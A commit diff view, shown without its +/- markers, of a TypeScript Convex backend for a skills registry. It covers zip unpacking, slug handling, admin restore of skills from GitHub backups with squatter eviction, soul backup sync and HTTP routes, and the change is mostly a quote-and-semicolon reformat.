for (const [rawPath, bytes] of Object.entries(entries)) {
const normalizedPath = normalizeZipPath(rawPath);
if (!normalizedPath) continue;
if (isMacJunkPath(normalizedPath)) continue;
if (!bytes) continue;
if (bytes.byteLength > MAX_SINGLE_FILE_BYTES) continue;
totalBytes += bytes.byteLength;
if (totalBytes > MAX_UNZIPPED_BYTES) throw new ConvexError("Repo archive is too large");
out[normalizedPath] = bytes;
const normalizedPath = normalizeZipPath(rawPath)
if (!normalizedPath) continue
if (isJunkPath(normalizedPath)) continue
if (!bytes) continue
if (bytes.byteLength > MAX_SINGLE_FILE_BYTES) continue
totalBytes += bytes.byteLength
if (totalBytes > MAX_UNZIPPED_BYTES) throw new ConvexError('Repo archive is too large')
out[normalizedPath] = bytes
}
return out;
return out
}
function isCandidateUnderResolvedPath(candidatePath: string, resolvedPath: string) {
const root = normalizeRepoPath(resolvedPath);
if (!root) return true;
if (!candidatePath) return false;
if (candidatePath === root) return true;
return candidatePath.startsWith(`${root}/`);
const root = normalizeRepoPath(resolvedPath)
if (!root) return true
if (!candidatePath) return false
if (candidatePath === root) return true
return candidatePath.startsWith(`${root}/`)
}
function sanitizeSlug(value: string) {
return value
.trim()
.toLowerCase()
.replace(/[^a-z0-9-]+/g, "-")
.replace(/^-+/, "")
.replace(/-+$/, "")
.replace(/--+/g, "-");
.replace(/[^a-z0-9-]+/g, '-')
.replace(/^-+/, '')
.replace(/-+$/, '')
.replace(/--+/g, '-')
}
async function suggestAvailableSlug(ctx: ActionCtx, userId: Id<"users">, base: string) {
const cleaned = sanitizeSlug(base);
if (!cleaned) throw new ConvexError("Could not derive slug");
async function suggestAvailableSlug(ctx: ActionCtx, userId: Id<'users'>, base: string) {
const cleaned = sanitizeSlug(base)
if (!cleaned) throw new ConvexError('Could not derive slug')
for (let i = 0; i < 50; i += 1) {
const candidate = i === 0 ? cleaned : `${cleaned}-${i + 1}`;
const existing = await ctx.runQuery(internal.skills.getSkillBySlugInternal, {
slug: candidate,
});
if (!existing) return candidate;
if (existing.ownerUserId === userId) return candidate;
const candidate = i === 0 ? cleaned : `${cleaned}-${i + 1}`
const existing = await ctx.runQuery(internal.skills.getSkillBySlugInternal, { slug: candidate })
if (!existing) return candidate
if (existing.ownerUserId === userId) return candidate
}
throw new ConvexError("Could not find an available slug");
throw new ConvexError('Could not find an available slug')
}
async function sha256Hex(bytes: Uint8Array) {
const normalized = new Uint8Array(bytes);
const digest = await crypto.subtle.digest("SHA-256", normalized.buffer);
return toHex(new Uint8Array(digest));
const normalized = new Uint8Array(bytes)
const digest = await crypto.subtle.digest('SHA-256', normalized.buffer)
return toHex(new Uint8Array(digest))
}
function toHex(bytes: Uint8Array) {
let out = "";
for (const byte of bytes) out += byte.toString(16).padStart(2, "0");
return out;
let out = ''
for (const byte of bytes) out += byte.toString(16).padStart(2, '0')
return out
}
function normalizeZipPath(path: string) {
const normalized = path
.replaceAll("\u0000", "")
.replaceAll("\\", "/")
.replaceAll('\u0000', '')
.replaceAll('\\', '/')
.trim()
.replace(/^\.\/+/, "")
.replace(/^\/+/, "");
if (!normalized) return "";
if (normalized.includes("..")) return "";
return normalized;
.replace(/^\.\/+/, '')
.replace(/^\/+/, '')
if (!normalized) return ''
if (normalized.includes('..')) return ''
return normalized
}
function toErrorMessage(error: unknown) {
return error instanceof Error ? error.message : String(error);
function isJunkPath(path: string) {
const normalized = path.toLowerCase()
if (normalized.startsWith('__macosx/')) return true
if (normalized.endsWith('/.ds_store')) return true
if (normalized === '.ds_store') return true
return false
}
function buildStoreFailureMessage(path: string, sizeBytes: number, error: unknown) {
return `Failed to store file "${path}" (${sizeBytes} bytes). ${toErrorMessage(error)}`;
}
function buildPublishFailureMessage(error: unknown) {
return `Import failed during publish: ${toErrorMessage(error)}. Check skill format, slug availability, and try again.`;
}
export const __test = {
buildPublishFailureMessage,
buildStoreFailureMessage,
unzipToEntries,
};
+92 -101
View File
@@ -1,32 +1,35 @@
"use node";
'use node'
import { v } from "convex/values";
import { internal } from "./_generated/api";
import type { Doc, Id } from "./_generated/dataModel";
import { internalAction } from "./functions";
import { assertAdmin } from "./lib/access";
import { guessContentTypeForPath } from "./lib/contentTypes";
import { v } from 'convex/values'
import { internal } from './_generated/api'
import type { Doc, Id } from './_generated/dataModel'
import { internalAction } from './_generated/server'
import {
fetchGitHubSkillMeta,
getGitHubBackupContext,
isGitHubBackupConfigured,
} from "./lib/githubBackup";
import { listGitHubBackupFiles, readGitHubBackupFile } from "./lib/githubRestoreHelpers";
import { publishVersionForUser } from "./lib/skillPublish";
} from './lib/githubBackup'
import { assertAdmin } from './lib/access'
import {
listGitHubBackupFiles,
readGitHubBackupFile,
} from './lib/githubRestoreHelpers'
import { publishVersionForUser } from './lib/skillPublish'
import { guessContentTypeForPath } from './lib/contentTypes'
type RestoreResult = {
slug: string;
status: "restored" | "slug_conflict" | "already_exists" | "no_backup" | "error";
detail?: string;
};
slug: string
status: 'restored' | 'slug_conflict' | 'already_exists' | 'no_backup' | 'error'
detail?: string
}
type BulkRestoreResult = {
results: RestoreResult[];
totalRestored: number;
totalConflicts: number;
totalSkipped: number;
totalErrors: number;
};
results: RestoreResult[]
totalRestored: number
totalConflicts: number
totalSkipped: number
totalErrors: number
}
/**
* Admin-only: restore a single skill from GitHub backup.
@@ -34,9 +37,9 @@ type BulkRestoreResult = {
*/
export const restoreSkillFromBackup = internalAction({
args: {
actorUserId: v.id("users"),
actorUserId: v.id('users'),
ownerHandle: v.string(),
ownerUserId: v.id("users"),
ownerUserId: v.id('users'),
slug: v.string(),
forceOverwriteSquatter: v.optional(v.boolean()),
},
@@ -44,85 +47,73 @@ export const restoreSkillFromBackup = internalAction({
try {
const actor = await ctx.runQuery(internal.users.getByIdInternal, {
userId: args.actorUserId,
});
})
if (!actor || actor.deletedAt || actor.deactivatedAt) {
return { slug: args.slug, status: "error", detail: "Actor not found" };
return { slug: args.slug, status: 'error', detail: 'Actor not found' }
}
assertAdmin(actor as Doc<"users">);
assertAdmin(actor as Doc<'users'>)
if (!isGitHubBackupConfigured()) {
return { slug: args.slug, status: "error", detail: "GitHub backup not configured" };
return { slug: args.slug, status: 'error', detail: 'GitHub backup not configured' }
}
const ghContext = await getGitHubBackupContext();
const ghContext = await getGitHubBackupContext()
// Check if skill already exists in the DB
const existingSkill = (await ctx.runQuery(internal.skills.getSkillBySlugInternal, {
slug: args.slug,
})) as Doc<"skills"> | null;
})) as Doc<'skills'> | null
if (existingSkill) {
if (existingSkill.ownerUserId === args.ownerUserId) {
return {
slug: args.slug,
status: "already_exists",
detail: "Skill already owned by user",
};
return { slug: args.slug, status: 'already_exists', detail: 'Skill already owned by user' }
}
if (!args.forceOverwriteSquatter) {
return {
slug: args.slug,
status: "slug_conflict",
status: 'slug_conflict',
detail: `Slug occupied by another user. Set forceOverwriteSquatter=true to reclaim.`,
};
}
}
// Free the slug in-transaction by renaming the squatter, then enqueue cleanup.
await ctx.runMutation(
internal.githubRestoreMutations.evictSquatterSkillForRestoreInternal,
{
actorUserId: args.actorUserId,
slug: args.slug,
rightfulOwnerUserId: args.ownerUserId,
},
);
await ctx.runMutation(internal.githubRestoreMutations.evictSquatterSkillForRestoreInternal, {
actorUserId: args.actorUserId,
slug: args.slug,
rightfulOwnerUserId: args.ownerUserId,
})
}
// Fetch metadata from GitHub backup
const meta = await fetchGitHubSkillMeta(ghContext, args.ownerHandle, args.slug);
const meta = await fetchGitHubSkillMeta(ghContext, args.ownerHandle, args.slug)
if (!meta) {
return { slug: args.slug, status: "no_backup", detail: "No backup found in GitHub repo" };
return { slug: args.slug, status: 'no_backup', detail: 'No backup found in GitHub repo' }
}
// Read the actual files from the backup
const backupFiles = await listGitHubBackupFiles(ghContext, args.ownerHandle, args.slug);
const backupFiles = await listGitHubBackupFiles(ghContext, args.ownerHandle, args.slug)
if (backupFiles.length === 0) {
return { slug: args.slug, status: "no_backup", detail: "Backup has no files" };
return { slug: args.slug, status: 'no_backup', detail: 'Backup has no files' }
}
// Download and store each file in Convex storage
const storedFiles: Array<{
path: string;
size: number;
storageId: Id<"_storage">;
sha256: string;
contentType: string;
}> = [];
path: string
size: number
storageId: Id<'_storage'>
sha256: string
contentType: string
}> = []
for (const filePath of backupFiles) {
const fileContent = await readGitHubBackupFile(
ghContext,
args.ownerHandle,
args.slug,
filePath,
);
if (!fileContent) continue;
const fileContent = await readGitHubBackupFile(ghContext, args.ownerHandle, args.slug, filePath)
if (!fileContent) continue
const sha256 = await sha256Hex(fileContent);
const contentType = guessContentTypeForPath(filePath);
const blob = new Blob([Buffer.from(fileContent)], { type: contentType });
const storageId = await ctx.storage.store(blob);
const sha256 = await sha256Hex(fileContent)
const contentType = guessContentTypeForPath(filePath)
const blob = new Blob([Buffer.from(fileContent)], { type: contentType })
const storageId = await ctx.storage.store(blob)
storedFiles.push({
path: filePath,
@@ -130,11 +121,11 @@ export const restoreSkillFromBackup = internalAction({
storageId,
sha256,
contentType,
});
})
}
if (storedFiles.length === 0) {
return { slug: args.slug, status: "error", detail: "Could not download any backup files" };
return { slug: args.slug, status: 'error', detail: 'Could not download any backup files' }
}
await publishVersionForUser(
@@ -144,7 +135,7 @@ export const restoreSkillFromBackup = internalAction({
slug: args.slug,
displayName: meta.displayName,
version: meta.latest.version,
changelog: "Restored from GitHub backup",
changelog: 'Restored from GitHub backup',
files: storedFiles,
},
{
@@ -154,34 +145,34 @@ export const restoreSkillFromBackup = internalAction({
skipBackup: true,
skipWebhook: true,
},
);
)
return { slug: args.slug, status: "restored" };
return { slug: args.slug, status: 'restored' }
} catch (error) {
const message = error instanceof Error ? error.message : "Unknown error";
console.error(`[restore] Failed to restore ${args.slug}:`, message);
return { slug: args.slug, status: "error", detail: message };
const message = error instanceof Error ? error.message : 'Unknown error'
console.error(`[restore] Failed to restore ${args.slug}:`, message)
return { slug: args.slug, status: 'error', detail: message }
}
},
});
})
/**
* Admin-only: bulk restore all skills for a user from GitHub backup.
*/
export const restoreUserSkillsFromBackup = internalAction({
args: {
actorUserId: v.id("users"),
actorUserId: v.id('users'),
ownerHandle: v.string(),
ownerUserId: v.id("users"),
ownerUserId: v.id('users'),
slugs: v.array(v.string()),
forceOverwriteSquatter: v.optional(v.boolean()),
},
handler: async (ctx, args): Promise<BulkRestoreResult> => {
const results: RestoreResult[] = [];
let totalRestored = 0;
let totalConflicts = 0;
let totalSkipped = 0;
let totalErrors = 0;
const results: RestoreResult[] = []
let totalRestored = 0
let totalConflicts = 0
let totalSkipped = 0
let totalErrors = 0
for (const slug of args.slugs) {
const result = (await ctx.runAction(internal.githubRestore.restoreSkillFromBackup, {
@@ -190,36 +181,36 @@ export const restoreUserSkillsFromBackup = internalAction({
ownerUserId: args.ownerUserId,
slug,
forceOverwriteSquatter: args.forceOverwriteSquatter,
})) as RestoreResult;
})) as RestoreResult
results.push(result);
results.push(result)
switch (result.status) {
case "restored":
totalRestored += 1;
break;
case "slug_conflict":
totalConflicts += 1;
break;
case "already_exists":
case "no_backup":
totalSkipped += 1;
break;
case "error":
totalErrors += 1;
break;
case 'restored':
totalRestored += 1
break
case 'slug_conflict':
totalConflicts += 1
break
case 'already_exists':
case 'no_backup':
totalSkipped += 1
break
case 'error':
totalErrors += 1
break
}
}
return { results, totalRestored, totalConflicts, totalSkipped, totalErrors };
return { results, totalRestored, totalConflicts, totalSkipped, totalErrors }
},
});
})
async function sha256Hex(bytes: Uint8Array) {
const { createHash } = await import("node:crypto");
const hash = createHash("sha256");
hash.update(bytes);
return hash.digest("hex");
const { createHash } = await import('node:crypto')
const hash = createHash('sha256')
hash.update(bytes)
return hash.digest('hex')
}
// guessContentTypeForPath in lib/contentTypes.ts
+36 -35
View File
@@ -1,34 +1,34 @@
import { v } from "convex/values";
import { internal } from "./_generated/api";
import { internalMutation } from "./functions";
import { assertAdmin } from "./lib/access";
import { v } from 'convex/values'
import { internal } from './_generated/api'
import { internalMutation } from './_generated/server'
import { assertAdmin } from './lib/access'
export const evictSquatterSkillForRestoreInternal = internalMutation({
args: {
actorUserId: v.id("users"),
actorUserId: v.id('users'),
slug: v.string(),
rightfulOwnerUserId: v.id("users"),
rightfulOwnerUserId: v.id('users'),
},
handler: async (ctx, args) => {
const actor = await ctx.db.get(args.actorUserId);
if (!actor || actor.deletedAt || actor.deactivatedAt) throw new Error("Actor not found");
assertAdmin(actor);
const actor = await ctx.db.get(args.actorUserId)
if (!actor || actor.deletedAt || actor.deactivatedAt) throw new Error('Actor not found')
assertAdmin(actor)
const slug = args.slug.trim().toLowerCase();
if (!slug) throw new Error("Slug required");
const slug = args.slug.trim().toLowerCase()
if (!slug) throw new Error('Slug required')
const now = Date.now();
const now = Date.now()
const existingSkill = await ctx.db
.query("skills")
.withIndex("by_slug", (q) => q.eq("slug", slug))
.unique();
if (!existingSkill) return { ok: true as const, action: "noop" as const };
.query('skills')
.withIndex('by_slug', (q) => q.eq('slug', slug))
.unique()
if (!existingSkill) return { ok: true as const, action: 'noop' as const }
if (existingSkill.ownerUserId === args.rightfulOwnerUserId) {
return { ok: true as const, action: "already_owned" as const };
return { ok: true as const, action: 'already_owned' as const }
}
const evictedSlug = buildEvictedSlug(slug, now);
const evictedSlug = buildEvictedSlug(slug, now)
// Free the slug immediately (same transaction) by renaming the squatter's skill.
await ctx.db.patch(existingSkill._id, {
@@ -37,47 +37,48 @@ export const evictSquatterSkillForRestoreInternal = internalMutation({
hiddenAt: existingSkill.hiddenAt ?? now,
hiddenBy: existingSkill.hiddenBy ?? actor._id,
updatedAt: now,
});
})
// Remove from vector search ASAP.
const embeddings = await ctx.db
.query("skillEmbeddings")
.withIndex("by_skill", (q) => q.eq("skillId", existingSkill._id))
.collect();
.query('skillEmbeddings')
.withIndex('by_skill', (q) => q.eq('skillId', existingSkill._id))
.collect()
for (const embedding of embeddings) {
await ctx.db.patch(embedding._id, {
visibility: "deleted",
visibility: 'deleted',
updatedAt: now,
});
})
}
// Cleanup the rest asynchronously (versions, fingerprints, installs, etc.)
await ctx.scheduler.runAfter(0, internal.skills.hardDeleteInternal, {
skillId: existingSkill._id,
actorUserId: actor._id,
phase: "versions",
});
phase: 'versions',
})
await ctx.db.insert("auditLogs", {
await ctx.db.insert('auditLogs', {
actorUserId: actor._id,
action: "slug.reclaim.sync",
targetType: "skill",
action: 'slug.reclaim.sync',
targetType: 'skill',
targetId: existingSkill._id,
metadata: {
slug,
evictedSlug,
squatterUserId: existingSkill.ownerUserId,
rightfulOwnerUserId: args.rightfulOwnerUserId,
reason: "Synchronous eviction during GitHub restore",
reason: 'Synchronous eviction during GitHub restore',
},
createdAt: now,
});
})
return { ok: true as const, action: "evicted" as const, evictedSlug };
return { ok: true as const, action: 'evicted' as const, evictedSlug }
},
});
})
function buildEvictedSlug(slug: string, now: number) {
const suffix = now.toString(36);
return `${slug}-evicted-${suffix}`;
const suffix = now.toString(36)
return `${slug}-evicted-${suffix}`
}
+76 -76
View File
@@ -1,51 +1,51 @@
import { v } from "convex/values";
import { internal } from "./_generated/api";
import type { Doc, Id } from "./_generated/dataModel";
import { action, internalMutation, internalQuery } from "./functions";
import { assertRole, requireUserFromAction } from "./lib/access";
import { v } from 'convex/values'
import { internal } from './_generated/api'
import type { Doc, Id } from './_generated/dataModel'
import { action, internalMutation, internalQuery } from './_generated/server'
import { assertRole, requireUserFromAction } from './lib/access'
const DEFAULT_BATCH_SIZE = 50;
const MAX_BATCH_SIZE = 200;
const SYNC_STATE_KEY = "souls";
const DEFAULT_BATCH_SIZE = 50
const MAX_BATCH_SIZE = 200
const SYNC_STATE_KEY = 'souls'
type BackupPageItem =
| {
kind: "ok";
soulId: Id<"souls">;
versionId: Id<"soulVersions">;
slug: string;
displayName: string;
version: string;
ownerHandle: string;
files: Doc<"soulVersions">["files"];
publishedAt: number;
kind: 'ok'
soulId: Id<'souls'>
versionId: Id<'soulVersions'>
slug: string
displayName: string
version: string
ownerHandle: string
files: Doc<'soulVersions'>['files']
publishedAt: number
}
| { kind: "missingLatestVersion"; soulId: Id<"souls"> }
| { kind: "missingVersionDoc"; soulId: Id<"souls">; versionId: Id<"soulVersions"> }
| { kind: "missingOwner"; soulId: Id<"souls">; ownerUserId: Id<"users"> };
| { kind: 'missingLatestVersion'; soulId: Id<'souls'> }
| { kind: 'missingVersionDoc'; soulId: Id<'souls'>; versionId: Id<'soulVersions'> }
| { kind: 'missingOwner'; soulId: Id<'souls'>; ownerUserId: Id<'users'> }
type BackupPageResult = {
items: BackupPageItem[];
cursor: string | null;
isDone: boolean;
};
items: BackupPageItem[]
cursor: string | null
isDone: boolean
}
type BackupSyncState = {
cursor: string | null;
};
cursor: string | null
}
export type SyncGitHubSoulBackupsResult = {
stats: {
soulsScanned: number;
soulsSkipped: number;
soulsBackedUp: number;
soulsMissingVersion: number;
soulsMissingOwner: number;
errors: number;
};
cursor: string | null;
isDone: boolean;
};
soulsScanned: number
soulsSkipped: number
soulsBackedUp: number
soulsMissingVersion: number
soulsMissingOwner: number
errors: number
}
cursor: string | null
isDone: boolean
}
export const getGitHubSoulBackupPageInternal = internalQuery({
args: {
@@ -53,38 +53,38 @@ export const getGitHubSoulBackupPageInternal = internalQuery({
batchSize: v.optional(v.number()),
},
handler: async (ctx, args): Promise<BackupPageResult> => {
const batchSize = clampInt(args.batchSize ?? DEFAULT_BATCH_SIZE, 1, MAX_BATCH_SIZE);
const batchSize = clampInt(args.batchSize ?? DEFAULT_BATCH_SIZE, 1, MAX_BATCH_SIZE)
const { page, isDone, continueCursor } = await ctx.db
.query("souls")
.order("asc")
.paginate({ cursor: args.cursor ?? null, numItems: batchSize });
.query('souls')
.order('asc')
.paginate({ cursor: args.cursor ?? null, numItems: batchSize })
const items: BackupPageItem[] = [];
const items: BackupPageItem[] = []
for (const soul of page) {
if (soul.softDeletedAt) continue;
if (soul.softDeletedAt) continue
if (!soul.latestVersionId) {
items.push({ kind: "missingLatestVersion", soulId: soul._id });
continue;
items.push({ kind: 'missingLatestVersion', soulId: soul._id })
continue
}
const version = await ctx.db.get(soul.latestVersionId);
const version = await ctx.db.get(soul.latestVersionId)
if (!version) {
items.push({
kind: "missingVersionDoc",
kind: 'missingVersionDoc',
soulId: soul._id,
versionId: soul.latestVersionId,
});
continue;
})
continue
}
const owner = await ctx.db.get(soul.ownerUserId);
const owner = await ctx.db.get(soul.ownerUserId)
if (!owner || owner.deletedAt || owner.deactivatedAt) {
items.push({ kind: "missingOwner", soulId: soul._id, ownerUserId: soul.ownerUserId });
continue;
items.push({ kind: 'missingOwner', soulId: soul._id, ownerUserId: soul.ownerUserId })
continue
}
items.push({
kind: "ok",
kind: 'ok',
soulId: soul._id,
versionId: version._id,
slug: soul.slug,
@@ -93,52 +93,52 @@ export const getGitHubSoulBackupPageInternal = internalQuery({
ownerHandle: owner.handle ?? owner._id,
files: version.files,
publishedAt: version.createdAt,
});
})
}
return { items, cursor: continueCursor, isDone };
return { items, cursor: continueCursor, isDone }
},
});
})
export const getGitHubSoulBackupSyncStateInternal = internalQuery({
args: {},
handler: async (ctx): Promise<BackupSyncState> => {
const state = await ctx.db
.query("githubBackupSyncState")
.withIndex("by_key", (q) => q.eq("key", SYNC_STATE_KEY))
.unique();
return { cursor: state?.cursor ?? null };
.query('githubBackupSyncState')
.withIndex('by_key', (q) => q.eq('key', SYNC_STATE_KEY))
.unique()
return { cursor: state?.cursor ?? null }
},
});
})
export const setGitHubSoulBackupSyncStateInternal = internalMutation({
args: {
cursor: v.optional(v.string()),
},
handler: async (ctx, args) => {
const now = Date.now();
const now = Date.now()
const state = await ctx.db
.query("githubBackupSyncState")
.withIndex("by_key", (q) => q.eq("key", SYNC_STATE_KEY))
.unique();
.query('githubBackupSyncState')
.withIndex('by_key', (q) => q.eq('key', SYNC_STATE_KEY))
.unique()
if (!state) {
await ctx.db.insert("githubBackupSyncState", {
await ctx.db.insert('githubBackupSyncState', {
key: SYNC_STATE_KEY,
cursor: args.cursor,
updatedAt: now,
});
return { ok: true as const };
})
return { ok: true as const }
}
await ctx.db.patch(state._id, {
cursor: args.cursor,
updatedAt: now,
});
})
return { ok: true as const };
return { ok: true as const }
},
});
})
export const syncGitHubSoulBackups: ReturnType<typeof action> = action({
args: {
@@ -148,23 +148,23 @@ export const syncGitHubSoulBackups: ReturnType<typeof action> = action({
resetCursor: v.optional(v.boolean()),
},
handler: async (ctx, args): Promise<SyncGitHubSoulBackupsResult> => {
const { user } = await requireUserFromAction(ctx);
assertRole(user, ["admin"]);
const { user } = await requireUserFromAction(ctx)
assertRole(user, ['admin'])
if (args.resetCursor && !args.dryRun) {
await ctx.runMutation(internal.githubSoulBackups.setGitHubSoulBackupSyncStateInternal, {
cursor: undefined,
});
})
}
return ctx.runAction(internal.githubSoulBackupsNode.syncGitHubSoulBackupsInternal, {
dryRun: args.dryRun,
batchSize: args.batchSize,
maxBatches: args.maxBatches,
}) as Promise<SyncGitHubSoulBackupsResult>;
}) as Promise<SyncGitHubSoulBackupsResult>
},
});
})
function clampInt(value: number, min: number, max: number) {
return Math.max(min, Math.min(max, Math.floor(value)));
return Math.max(min, Math.min(max, Math.floor(value)))
}
+75 -75
View File
@@ -1,56 +1,56 @@
"use node";
'use node'
import { v } from "convex/values";
import { internal } from "./_generated/api";
import type { Doc } from "./_generated/dataModel";
import type { ActionCtx } from "./_generated/server";
import { internalAction } from "./functions";
import { v } from 'convex/values'
import { internal } from './_generated/api'
import type { Doc } from './_generated/dataModel'
import type { ActionCtx } from './_generated/server'
import { internalAction } from './_generated/server'
import {
backupSoulToGitHub,
fetchGitHubSoulMeta,
getGitHubSoulBackupContext,
isGitHubSoulBackupConfigured,
} from "./lib/githubSoulBackup";
} from './lib/githubSoulBackup'
const DEFAULT_BATCH_SIZE = 50;
const MAX_BATCH_SIZE = 200;
const DEFAULT_MAX_BATCHES = 5;
const MAX_MAX_BATCHES = 200;
const DEFAULT_BATCH_SIZE = 50
const MAX_BATCH_SIZE = 200
const DEFAULT_MAX_BATCHES = 5
const MAX_MAX_BATCHES = 200
type BackupPageItem =
| {
kind: "ok";
slug: string;
version: string;
displayName: string;
ownerHandle: string;
files: Doc<"soulVersions">["files"];
publishedAt: number;
kind: 'ok'
slug: string
version: string
displayName: string
ownerHandle: string
files: Doc<'soulVersions'>['files']
publishedAt: number
}
| { kind: "missingLatestVersion" }
| { kind: "missingVersionDoc" }
| { kind: "missingOwner" };
| { kind: 'missingLatestVersion' }
| { kind: 'missingVersionDoc' }
| { kind: 'missingOwner' }
export type GitHubSoulBackupSyncStats = {
soulsScanned: number;
soulsSkipped: number;
soulsBackedUp: number;
soulsMissingVersion: number;
soulsMissingOwner: number;
errors: number;
};
soulsScanned: number
soulsSkipped: number
soulsBackedUp: number
soulsMissingVersion: number
soulsMissingOwner: number
errors: number
}
export type SyncGitHubSoulBackupsInternalArgs = {
dryRun?: boolean;
batchSize?: number;
maxBatches?: number;
};
dryRun?: boolean
batchSize?: number
maxBatches?: number
}
export type SyncGitHubSoulBackupsInternalResult = {
stats: GitHubSoulBackupSyncStats;
cursor: string | null;
isDone: boolean;
};
stats: GitHubSoulBackupSyncStats
cursor: string | null
isDone: boolean
}
export const backupSoulForPublishInternal = internalAction({
args: {
@@ -62,7 +62,7 @@ export const backupSoulForPublishInternal = internalAction({
v.object({
path: v.string(),
size: v.number(),
storageId: v.id("_storage"),
storageId: v.id('_storage'),
sha256: v.string(),
contentType: v.optional(v.string()),
}),
@@ -71,18 +71,18 @@ export const backupSoulForPublishInternal = internalAction({
},
handler: async (ctx, args) => {
if (!isGitHubSoulBackupConfigured()) {
return { skipped: true as const };
return { skipped: true as const }
}
await backupSoulToGitHub(ctx, args);
return { skipped: false as const };
await backupSoulToGitHub(ctx, args)
return { skipped: false as const }
},
});
})
export async function syncGitHubSoulBackupsInternalHandler(
ctx: ActionCtx,
args: SyncGitHubSoulBackupsInternalArgs,
): Promise<SyncGitHubSoulBackupsInternalResult> {
const dryRun = Boolean(args.dryRun);
const dryRun = Boolean(args.dryRun)
const stats: GitHubSoulBackupSyncStats = {
soulsScanned: 0,
soulsSkipped: 0,
@@ -90,15 +90,15 @@ export async function syncGitHubSoulBackupsInternalHandler(
soulsMissingVersion: 0,
soulsMissingOwner: 0,
errors: 0,
};
if (!isGitHubSoulBackupConfigured()) {
return { stats, cursor: null, isDone: true };
}
const batchSize = clampInt(args.batchSize ?? DEFAULT_BATCH_SIZE, 1, MAX_BATCH_SIZE);
const maxBatches = clampInt(args.maxBatches ?? DEFAULT_MAX_BATCHES, 1, MAX_MAX_BATCHES);
const context = await getGitHubSoulBackupContext();
if (!isGitHubSoulBackupConfigured()) {
return { stats, cursor: null, isDone: true }
}
const batchSize = clampInt(args.batchSize ?? DEFAULT_BATCH_SIZE, 1, MAX_BATCH_SIZE)
const maxBatches = clampInt(args.maxBatches ?? DEFAULT_MAX_BATCHES, 1, MAX_MAX_BATCHES)
const context = await getGitHubSoulBackupContext()
const state = dryRun
? { cursor: null as string | null }
@@ -106,37 +106,37 @@ export async function syncGitHubSoulBackupsInternalHandler(
internal.githubSoulBackups.getGitHubSoulBackupSyncStateInternal,
{},
)) as {
cursor: string | null;
});
cursor: string | null
})
let cursor: string | null = state.cursor;
let isDone = false;
let cursor: string | null = state.cursor
let isDone = false
for (let batch = 0; batch < maxBatches; batch++) {
const page = (await ctx.runQuery(internal.githubSoulBackups.getGitHubSoulBackupPageInternal, {
cursor: cursor ?? undefined,
batchSize,
})) as { items: BackupPageItem[]; cursor: string | null; isDone: boolean };
})) as { items: BackupPageItem[]; cursor: string | null; isDone: boolean }
cursor = page.cursor;
isDone = page.isDone;
cursor = page.cursor
isDone = page.isDone
for (const item of page.items) {
if (item.kind !== "ok") {
if (item.kind === "missingLatestVersion" || item.kind === "missingVersionDoc") {
stats.soulsMissingVersion += 1;
} else if (item.kind === "missingOwner") {
stats.soulsMissingOwner += 1;
if (item.kind !== 'ok') {
if (item.kind === 'missingLatestVersion' || item.kind === 'missingVersionDoc') {
stats.soulsMissingVersion += 1
} else if (item.kind === 'missingOwner') {
stats.soulsMissingOwner += 1
}
continue;
continue
}
stats.soulsScanned += 1;
stats.soulsScanned += 1
try {
const meta = await fetchGitHubSoulMeta(context, item.ownerHandle, item.slug);
const meta = await fetchGitHubSoulMeta(context, item.ownerHandle, item.slug)
if (meta?.latest?.version === item.version) {
stats.soulsSkipped += 1;
continue;
stats.soulsSkipped += 1
continue
}
if (!dryRun) {
@@ -151,25 +151,25 @@ export async function syncGitHubSoulBackupsInternalHandler(
publishedAt: item.publishedAt,
},
context,
);
stats.soulsBackedUp += 1;
)
stats.soulsBackedUp += 1
}
} catch (error) {
console.error("GitHub soul backup sync failed", error);
stats.errors += 1;
console.error('GitHub soul backup sync failed', error)
stats.errors += 1
}
}
if (!dryRun) {
await ctx.runMutation(internal.githubSoulBackups.setGitHubSoulBackupSyncStateInternal, {
cursor: isDone ? undefined : (cursor ?? undefined),
});
})
}
if (isDone) break;
if (isDone) break
}
return { stats, cursor, isDone };
return { stats, cursor, isDone }
}
export const syncGitHubSoulBackupsInternal = internalAction({
@@ -179,8 +179,8 @@ export const syncGitHubSoulBackupsInternal = internalAction({
maxBatches: v.optional(v.number()),
},
handler: syncGitHubSoulBackupsInternalHandler,
});
})
function clampInt(value: number, min: number, max: number) {
return Math.max(min, Math.min(max, Math.floor(value)));
return Math.max(min, Math.min(max, Math.floor(value)))
}
+69 -146
View File
@@ -1,7 +1,7 @@
import { ApiRoutes, LegacyApiRoutes } from "clawhub-schema";
import { httpRouter } from "convex/server";
import { auth } from "./auth";
import { downloadZip } from "./downloads";
import { ApiRoutes, LegacyApiRoutes } from 'clawhub-schema'
import { httpRouter } from 'convex/server'
import { auth } from './auth'
import { downloadZip } from './downloads'
import {
cliPublishHttp,
cliSkillDeleteHttp,
@@ -12,20 +12,10 @@ import {
getSkillHttp,
resolveSkillVersionHttp,
searchSkillsHttp,
} from "./httpApi";
} from './httpApi'
import {
listBundlePluginsV1Http,
listCodePluginsV1Http,
listPackagesV1Http,
listPluginsV1Http,
listSkillsV1Http,
listSoulsV1Http,
mintPublishTokenV1Http,
packagesDeleteRouterV1Http,
packagesGetRouterV1Http,
packagesPostRouterV1Http,
pluginsGetRouterV1Http,
publishPackageV1Http,
publishSkillV1Http,
publishSoulV1Http,
resolveSkillVersionV1Http,
@@ -38,255 +28,188 @@ import {
soulsPostRouterV1Http,
starsDeleteRouterV1Http,
starsPostRouterV1Http,
transfersGetRouterV1Http,
usersListV1Http,
usersPostRouterV1Http,
whoamiV1Http,
} from "./httpApiV1";
import { preflightHandler } from "./httpPreflight";
} from './httpApiV1'
import { preflightHandler } from './httpPreflight'
const http = httpRouter();
const http = httpRouter()
auth.addHttpRoutes(http);
auth.addHttpRoutes(http)
http.route({
path: ApiRoutes.download,
method: "GET",
method: 'GET',
handler: downloadZip,
});
})
http.route({
path: ApiRoutes.search,
method: "GET",
method: 'GET',
handler: searchSkillsV1Http,
});
})
http.route({
path: ApiRoutes.resolve,
method: "GET",
method: 'GET',
handler: resolveSkillVersionV1Http,
});
})
http.route({
path: ApiRoutes.skills,
method: "GET",
method: 'GET',
handler: listSkillsV1Http,
});
http.route({
path: ApiRoutes.packages,
method: "GET",
handler: listPackagesV1Http,
});
http.route({
path: ApiRoutes.plugins,
method: "GET",
handler: listPluginsV1Http,
});
http.route({
path: ApiRoutes.codePlugins,
method: "GET",
handler: listCodePluginsV1Http,
});
http.route({
path: ApiRoutes.bundlePlugins,
method: "GET",
handler: listBundlePluginsV1Http,
});
})
http.route({
pathPrefix: `${ApiRoutes.skills}/`,
method: "GET",
method: 'GET',
handler: skillsGetRouterV1Http,
});
http.route({
pathPrefix: `${ApiRoutes.packages}/`,
